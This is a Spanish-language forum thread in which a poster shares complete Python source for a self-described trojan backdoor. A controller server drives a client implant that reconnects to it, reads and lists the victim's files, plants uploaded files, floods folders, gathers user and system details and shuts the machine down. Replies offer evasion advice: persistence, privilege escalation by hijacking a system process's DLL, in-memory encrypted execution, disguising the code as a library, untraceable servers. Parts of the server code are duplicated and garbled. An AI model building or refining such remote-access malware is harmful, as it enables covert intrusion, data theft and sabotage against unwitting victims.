Buenas a todos:
Aquí les dejo el código de mi primera backdoor, cualquier idea o error me la comentáis (la iré actualizando según añada cosas al código).
Servidor
#importamos las librerias
import socket #libreria para crear la conexion cliente/servidor
from colorama import Fore, Back, Style #libreria para decorar textos y banners
import colorama
import os #libreria de multiples usos
from time import sleep #libreria para crear pausas en segundos
import random #libreria para generar numeros aleatorios
#ajustar el tamaño terminal
if os.name == "posix": #comprobamos si el ordenador es de linux o windows
os.system('printf "\033[8;10;42t"') #ajustamos la terminal en linux
elif os.name == "ce" or os.name == "nt" or os.name == "dos":
os.system('mode con: cols=124 lines=40') #ajustamos la terminal en MacOs y windows
#funciones generales
def menuDeAyuda(): #imprime un menu de ayuda con todos los comandos disponibles
borrarPantalla() #Usa la funcion limpiar pantalla para limpiar la terminal
print(Fore.BLUE + "Esta es un lista de comandos disponibles") #Fore es usado para cambiar el color de las letras
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Info - Muestra informacion del sistema infectado " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Dir - Muestra los archivos en el directorio actual " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Close - Cierra la conexion " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Cls - Limpia la consola " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Cd - Cambia el directorio actual " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Help - Muestra este menu de ayuda " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Pwd - Muestra el directorio actual " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Shutdown - Apaga la computadora (solo windows) " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Download - Lleva archivos comprimidos de tu ordenador al \nordenador de la victima " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Banner - Genera un banner aleatorio " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Col - Colapsa la ruta seleccionada con las carpetas indicadas " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Touch - Crea un archivo de texto en la ruta seleccionada " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Read - Sirve para leer documentos " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Compress - Comprime archivos en el ordenador de la victima " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Uncompress - Descomprime archivos en el ordenador de la victima " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Usr - Muestra el nombre de usuario de el ordenador infectado " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Mkdir - Crea una carpeta en la ruta espedificada " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
print(Fore.WHITE + "Move - Mueve archivos a la ruta seleccionada " + Fore.BLUE + "|")
print(Fore.BLUE + "---------------------------------------------------------------------------------------")
def borrarPantalla(): #Limpia la terminal
if os.name == "posix": #Si es linux limpia la pantalla en linux
os.system ("clear")
elif os.name == "ce" or os.name == "nt" or os.name == "dos": #Si es windows o mac os la limpia para esos sistemas
os.system ("cls")
#Los banners son dibujitos que aparecen al ejecutar el script y al usar el comando banner
def banner1():
print(Fore.BLACK + "\n\n" +
Back.BLACK + " " + " \n" +
Back.BLACK + " " + " \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" +
Back.BLACK + " " + " \n" +
Fore.BLUE + Back.BLACK + "\n" + " MY TROJAN")
def banner2():
print(Fore.BLUE + "\n \n"
"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
"$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$" + Fore.GREEN +"ooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "ooooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$" + Fore.GREEN +"oooooooooooooooo" + Fore.BLUE + "$$$$$$$$$$$$$$$$$$$$$$" + Fore.GREEN + "oooooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
" \n"
" MY TROJAN ")
def banner3():
print(Fore.YELLOW + "\n\n"
" 000000000000000000000000000000000000000 \n"
" 000000000000000000000000000000000000000 \n"
" 000000000000000000000000000000000000000 \n"
" 0000000 000000 0000000000000 \n"
" ****000000000000000000000000000000 000000000000000000 000 \n"
" *****00000000000000000000000000000000 000000000000 | \n"
" ****000000000000000000000000000000 00000000000000000000000 \n" + Fore.BLUE)
def banner4():
print(Fore.WHITE + " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n"
" $ $ \n"
" $ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n"
" $ $ \n"
" $ $ \n"
" $ $ \n"
" $ $ $$$$ $$$$ \n"
" $ $ $$$$ $$$$ \n"
"$ $ $$$$$$$$$$$$$$ $$$$$$$$$$$$$$ \n"
"$ $ $$$$$$$$$$$$$$ $$$$$$$$$$$$$$ \n"
" $ $ $$$$ $$$$ \n"
" $ $ $$$$ $$$$ \n"
" $ $ \n"
" $ $ \n"
" $ $ \n"
" $ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n"
" $ $ \n"
" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n" + Fore.BLUE)
def defineBanner(): #Esta funcion define un banner aleatorio
num = random.randint(1, 4) #Genera un numero aleatorio entre 1 y 4
if(num == 1): #Dependiendo de que numero sea usa un banner diferente
banner1()
if(num == 2):
banner2()
if(num == 3):
banner3()
if(num == 4):
banner4()
#Iniciar colorama
colorama.init() #Inicia colorama para poder colorear
#Poner socket en linea
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Define socket
s.bind(('127.0.0.1', 1234)) #Lo pone en modo servidor
#poner socket a la escucha
s.listen()
#decoracion
borrarPantalla() #Borra la pantalla para evitar problemas
defineBanner() #Llama a la funcion defineBanner para dibujar un banner aleatorio
print(Fore.BLUE + "Esperando una conexion...") #Muestra que esta esperando una conexion para aclarar dudas
#variables generales
guid = "" #Es la variable donde se introducira el comando a usar
cmdList = ["Help", "Close", "Cls", "Cd", "Info", "Dir", "Pwd", "Shutdown", "Download", "Banner", "Col", "Touch", "Read", "Uncompress", "Compress", "Usr", "Mkdir", "Move"] #Es una lista de todos los comandos que use para evitar errores
#aceptar nueva conexion
clientsocket, address = s.accept() #Si el cliente solicita unirse acepta la conexion
#mostrar informacion basica de la nueva conexion
marca = clientsocket.recv(1024) #Recive una informacion enviada desde el cliente y la almacena en la variable marca
marca.decode("utf-8") #Descodifica e mensaje (siempre hay que codificar para enviar y lo contrario al recivir)
print(Fore.BLUE + f"New connection from a {marca}/{address}") #Imprime el sistema operativo y la direccion ip del sistema infectado
while True: #Empieza a recibir ordenes para enviar
#Me quedan hacer muchas cosas aqui entre ellas
#Pedir una respuesta de confirmacion en cada comando
#(Solo lo tengo en algunos)
guid = input() #Pide que ingreses un comando
try: #Intenta ejecutar el siguiente codigo
if(guid != ""): #Comprueba que el comando introducido sea diferente a nada
if(guid == "Banner"): #Si es igual a Banner usa la funcion defindeBanner para imprimir un banner
defineBanner()
if(guid == "Help"): #Si es igual a Help imprime el menu de ayuda
menuDeAyuda()
if(guid == "Close"): #Si es igual a Close cierra la conexion
clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente para cerrar la conexion desde hay tambien
print(Fore.YELLOW + "La conexion se a roto" + Fore.RED)
sleep(1) #Espera un segundo
print("Ya no podra ejecutar mas comandos en la victima..." + Fore.BLUE)
os.system("pause") #Crea una pausa
break #Cierra el bucle para que se cierre el programa
if(guid == "Cls"): #Si el comando es igual a Cls limpia la consola con la funcion borrarPantalla
borrarPantalla()
if(guid == "Cd"): #Si el comando es igual a Cd
clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente
direc = input("Cual es la ruta a la que moverse...") #Pide que escriba la ruta a la que se quiere mover
clientsocket.send(bytes(direc, "utf-8")) #La manda al cliente
if(guid == "Info" or guid == "Dir" or guid == "Pwd" or guid == "Usr"): #Estos tres comandos son muy similares ya que solo muestran informacion de la victima
clientsocket.send(bytes(guid, "utf-8"))
respuesta = clientsocket.recv(10024)
print(Fore.BLUE + "-------------------------------------------")
print(respuesta.decode("utf-8"))
print(Fore.BLUE + "-------------------------------------------")
if(guid == "Shutdown"): #Si el comando es igual a Shutdown
clientsocket.send(bytes(guid, "utf-8")) #Envia el comando a la victima para que reciva la orden
print("La conexion se perdera al apagar el ordenador(solo funciona en windows)")
break #Rompe el bucle para que acabe el programa
if(guid == "Download"): #Si el comando es igual a Download(este me costo montarlo asi que si no entiendes no te procupes)
clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
fileName = input("Nombre y extension del nuevo archivo...") #Pide el nombre y la extension del nuevo archivo
clientsocket.send(bytes(fileName, "utf-8")) #Envia los datos anteriores
file = input("Archivo que quiere descargar en la conexion...") #Pide la ruta de un archivo .zip o .rar en tu ordenador para pasarlo al de la victima
f = open(file, 'rb') #Abre ese archivo con permisos de lectura para leer el binario(todos los archivos estan formados por binario)
fileData = f.read(99999999) #Lee el binario obtenido
clientsocket.send(fileData) #Lo envia(no hace falta codificarlo porque ya esta codificado)
print("Archivo enviado...")
respuestaDeComprobacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
print(respuestaDeComprobacion.decode("utf-8")) #Y la muestra por pantalla
if(guid == "Col"):#Si el comando es igual a Col
clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
numC = input("Cuantas carpetas quiere crear...") #Pregunta al usuario cuantas carpetas quiere crear
clientsocket.send(bytes(numC, "utf-8")) #Lo manda al cliente
colPath = input("Cual es la ruta que desea colapsar...") #Pregunta cual es la ruta a colapsar
clientsocket.send(bytes(numC, "utf-8")) #La envia
print(Fore.YELLOW + "Colapsando..." + Fore.BLUE)
print("Esperando respuesta...")
respuesta = clientsocket.recv(1024) #Recoge la respuesta de confirmacion
print(respuesta.decode("utf-8")) #La imprime
if(guid == "Touch"): #Si es igual a Touch
clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
titulo = input("Titulo del documento...") #Pregunta por el titulo del documento(extension incluida)
clientsocket.send(bytes(titulo, "utf-8")) #La envia al cliente
filePath = input("Ruta donde el documento se creara...") #Pide que ingrese la ruta donde se creara el documento
clientsocket.send(bytes(filePath, "utf-8")) #La envia al cliente
content = input("Contenido del documento...") #Pregunta por el contenido del documento
clientsocket.send(bytes(content, "utf-8")) #Lo envia al cliente
print("Esperando respuesta")
respuestaDeConfrimacion = clientsocket.recv(1024) #Recive la respuesta del cliente
print(respuestaDeConfirmacion.decode("utf-8")) #La imprime en la consola
if(guid == "Read"): #Si la orden es igual a Read
clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
fileRead = input("Ruta del archivo que desea leer(procure que el archivo no sea muy extenso)...") #Pregunta sobre la ruta del documento
clientsocket.send(bytes(fileRead, "utf-8")) #La manda al cliente
cont = clientsocket.recv(999999) #Recibe la respuesta del cliente(o el contenido o un error)
print("----------------------------------------------------")
print(cont.decode("utf-8")) #La imprime
print("----------------------------------------------------")
if(guid == "Uncompress"): #Si el comando es igual a Uncompress(otro complicado)
clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
uncompressPath = input("Introduzca la ruta del archivo a descomprimir...") #Pide la ruta del archivo a descomprimir
clientsocket.send(bytes(uncompressPath, "utf-8")) #La envia
finalPath = input("Introduzca la ruta en la que desea decomprimir el archivo(sin el archivo)...") #Pide la ruta en la que se quiere descomprimir
clientsocket.send(bytes(finalPath, "utf-8")) #La envia
print("Esperando respuesta....")
respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
print(respuesta.decode("utf-8")) #La imprime
if(guid == "Compress"): #Si es igual a Compress
clientsocket.send(bytes(guid, "utf-8")) #Envia la orden
nombreDelArchivo = input("Nombre del archivo...") #Pregunta el nuevo nombre(extension .rar .zip o similares)
clientsocket.send(bytes(nombreDelArchivo, "utf-8")) #La envia
rutaDelArchivo = input("Ruta del archivo a comprimir...") #Pregunta la ruta del archivo a comprimir
clientsocket.send(bytes(rutaDelArchivo, "utf-8")) #La envia
print("Esperando respuesta...")
respuesta = clientsocket.recv(1024) #Recive respuesta del cliente
print(respuesta.decode("utf-8")) #La imprime
if(guid == "Mkdir"): #Si la orden es Mkdir
clientsocket.send(bytes(guid, "utf-8")) # Envia la orden
path = input("Ingrese la ruta...") #Pide la ruta de la nueva carpeta
clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
print("Esperando respuesta...")
respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
print(respuesta.decode("utf-8")) #La imprime
if(guid == "Move"): #Si la orden es igual a Move
clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
clientsocket.send(bytes(movePath, "utf-8")) #La envia
moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
print("Esperando respuesta...")
respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto
except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
print("Esperando respuesta...")
respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
print(respuesta.decode("utf-8")) #La imprime
if(guid == "Move"): #Si la orden es igual a Move
clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
clientsocket.send(bytes(movePath, "utf-8")) #La envia
moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
print("Esperando respuesta...")
respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto
except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa
Cliente
import socket
import subprocess
import platform
import os
import getpass
import time
import zipfile
import patoolib
from shutil import move
var = False
espera = 1
while var == False:
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 1234))
var = True
except:
print("furrula")
time.sleep(60)
client.send(bytes(f"{platform.system()}", "utf-8"))
while True:
sysInfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
"""
msg = client.recv(100)
msg.decode("utf-8")
print(msg)
if(msg == b'Info'):
client.send(bytes(sysInfo, "utf-8"))
if(msg == b'Dir'):
client.send(bytes(str(os.listdir(".")), "utf-8"))
if(msg == b'Cd'):
direc = client.recv(100)
direc.decode("utf-8")
os.chdir(direc)
if(msg == b'Pwd'):
ruta = f'{os.getcwd()}'
print(ruta)
client.send(bytes(ruta, "utf-8"))
if(msg == b'Shutdown'):
os.system('shutdown -s -t 1')
if (msg == b'Close'):
break
if(msg == b'Col'):
numC = client.recv(1024)
colPath = client.recv(1024)
for i in range(0, int(numC)):
rutaColapsada = colPath.decode("utf-8") + "\\" + str(i)
if os.path.exists(rutaColapsada):
rutaColapsada = rutaColapsada + str(arregloParaRutas)
os.mkdir(rutaColapsada)
else:
os.mkdir(rutaColapsada)
client.send(bytes("Proceso terminado", "utf-8"))
if(msg == b'Touch'):
try:
titulo = client.recv(1024)
print(titulo)
filePath = client.recv(1024)
print(filePath)
contenido = client.recv(100024)
print(contenido)
file = open(filePath.decode("utf-8") + "\\" + titulo.decode("utf-8"), "w")
print("Creado")
file.write(contenido.decode("utf-8"))
file.close()
cliente.send(bytes("Creado correctamente", "utf-8"))
except:
client.send(bytes("A ocuriido un error", "utf-8"))
if(msg == b'Download'):
try:
fileName = client.recv(100)
f = open(fileName, 'wb')
print(fileName)
fileData = client.recv(99999999)
print(fileData)
time.sleep(2)
f.write(fileData)
f.close()
client.send(bytes("Creado correctamente", "utf-8"))
except:
client.send(bytes("Ha ocurrido un error, probablemente no tengas los permisos suficientes", "utf-8"))
if(msg == b'Read'):
pathFile = client.recv(1024)
pathFile.decode("utf-8")
f = open(pathFile, 'rb')
fileData = f.read(99999)
client.send(fileData)
if(msg == b'Uncompress'):
try:
uncompressPath = client.recv(1024)
uncompressDestiny = client.recv(1024)
patoolib.extract_archive(uncompressPath.decode("utf-8"), outdir=uncompressDestiny.decode("utf-8"))
client.send(bytes("Descomprimido correctamente", "utf-8"))
except:
client.send(bytes("A ocurrido un error", "utf-8"))
if(msg == b'Usr'):
client.send(bytes(getpass.getuser(), "utf-8"))
if(msg == b'Compress'):
try:
name = client.recv(1024)
namePath = client.recv(1024)
jungle_zip = zipfile.ZipFile(name.decode("utf-8"), 'w')
jungle_zip.write(namePath.decode("utf-8"), compress_type=zipfile.ZIP_DEFLATED)
jungle_zip.close()
client.send(bytes("Comprimido correctamente", "utf-8"))
except:
client.send(bytes("A ocurrido un error", "utf-8"))
if(msg == b'Mkdir'):
try:
path = client.recv(1024)
os.mkdir(path.decode("utf-8"))
client.send(bytes("Creada correctamente", "utf-8"))
print("enviado")
except:
client.send(bytes("A ocurrido un error", "utf-8"))
if(msg == b'Move'):
try:
movePath = client.recv(1024)
moveDestiny = client.recv(1024)
move(movePath.decode("utf-8"), moveDestiny.decode("utf-8"))
client.send(bytes("Transportado correctamente", "utf-8"))
except:
client.send(bytes("A ocurrido un error", "utf-8"))
time.sleep(espera)
Postdata: Algunas librerías hay que instalarlas con pip ;) ;)
MOD: Codigo GeShi de Python agregado
Me puedes explicar como funciona estos dos codigos? Estoy empezando... Un resumen jeje.
Cita de: BlowFlow04 en 27 Julio 2020, 16:22 PM
Me puedes explicar como funciona estos dos codigos? Estoy empezando... Un resumen jeje.
El server se pone en linea y espera la conexión del cliente, cuando el cliente se conecta te permite ejecutar algunos comandos (escribe Help para verlos).
lo ley al vuelo y no estoy muy bien de la vista (el estar usando un celular no ayuda)digo esto por si no estoy viendo algo solo házmelo saber.
hasta donde entendí el primer código crea un servidor y el segundo es con lo que infectas noto dos problemas mayores 1: no veo nigun mecanismo para que el virus inicie (no es persistente) 2: estoy seguro de que va a ser detectado por el antivirus, ahora las soluciones (te dejo el código a ti 1 porque sera buena experiencia aprender a hacerlo 2 tengo mis propios problemas) para el problema 1 necesitas escalar privilegios se que se podía con powershell pero estoy seguro de que en windows 10 ya areglaron eso la forma mas simple que se me ocurre es que infectes un .dll que ocupe un poseso con permisos de sistema (widows carga bastantes .dll que no están protegidos) existen muchos proceso con privilegios que cargan .dll compartidos que puedes modificar esto me lleva al punto 2 encrita el código (ya compilado y en formato .exe) el ejecutable final debe infectar un poseso ya existente con el código descifrado de esta manera no queda nunca tu código en el disco duro todo esta en la memoria ram y lo del disco es ilegible al estar cifrado. como un extra deberias hacer algo para que sea imposible rastrear tu servidor espero haberte ayudado
Muchas gracias por la idea pronto subiré un código persistente e intentare hacer lo de escalar privilegios. Respecto a los antivirus muy pocos me lo detectaban probé con 10 antivirus y solo uno me lo detectaba. Agradezco esta crítica constructiva ;-) ;-).
Te recomendaria lo siguiente:
- Olvídate de todos los colores y banners. Mientras menos código y menos librerías utilices mejor.
- No ocupes librerías que necesites instalar. Mientras todo sea mas nativo en python mejor.
- Intenta no ocupar try except sin definir que except estas capturando.
- Intenta que se vea un código menos sospechoso. Busca algún python de alguna librería estilo django e intenta que se vea mas similar de esta manera no salta tanto la alerta al ojo.
- Ve la forma de ocupar SSL o algún túnel SSL.
- Repites mucho código , podrías transformarlo a funciones.
Limitas mucho el contenido que vas a recibir con las variables de
contenido = client.recv(100024)
Que pasa si es mayor a ese contenido ? lo vas a recibir por parte.
El resto, buena idea!